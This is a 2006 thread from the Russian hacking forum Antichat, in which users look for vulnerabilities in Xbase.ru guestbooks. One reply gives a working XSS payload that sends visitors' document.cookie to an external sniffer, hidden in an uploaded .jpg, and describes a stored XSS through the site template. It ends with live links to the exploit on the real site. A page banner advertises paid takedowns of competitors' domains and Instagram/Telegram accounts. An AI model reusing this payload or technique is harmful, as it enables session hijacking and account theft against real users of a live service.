Xbase

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Xbase

Опции темы

Поиск в этой теме

Опции просмотра

Xbase

16.12.2006, 09:26

volone

Новичок

Регистрация: 06.06.2006

Сообщений: 24

С нами: 10488642

Репутация: 11

Xbase

кто-нибудь находил уязвимости в гостевых книгах от Xbase.ru ?

𝕏 Twitter Reddit Telegram Копировать ссылку

16.12.2006, 13:04

DIAgen

Познавший АНТИЧАТ

Регистрация: 02.05.2006

Сообщений: 1,191

С нами: 10539746

Репутация: 1276

Цитата:

Сообщение от volone

кто-нибудь находил уязвимости в гостевых книгах от Xbase.ru ?

Так бегло пробежался по Xbase.ru, не чего хорошего нету, только раскрытие пути _http://xbase.ru/inc/main.php
Если будет время можно будет глянуть получше

16.12.2006, 13:07

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

С нами: 10358246

Репутация: 378

При регистрации Поля: Имя, УРЛ, Фамилия уязвимы... но вставить туда снифер не получится, 20 букв ограничение..
Еше ношёл, что в меню "Загрузка графики" можно создать файл 213.jpg и вписать туда

Код:

<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>

потом загрузить на сайт, фильтрации на содержимое картинки вообще нет. потом просто кидаем линк на картинку и куки идут на снифер, то есть это пасивная xss. но это только для ИЕ

Полазил еше не много и нашол активную xss:
В меню "Настройка дизайна", дописываем в конец шаблона

Код:

<script>alert()</script>

, теперь заходим в свою гостевую и видем алерт.

ставим ковычку в сессию и смотрим исходный путь...

Алерт:
http://xbase.ru/index.php?nokia1

И картинка которая сворует куки:
http://borz.ru/pers/9b/nokia1/12.jpg

Последний раз редактировалось InferNo23; 16.12.2006 в 13:22.. Причина: исх. путь.

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Конкурс.	Егорыч+++	PHP	74	07.01.2006 04:47

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход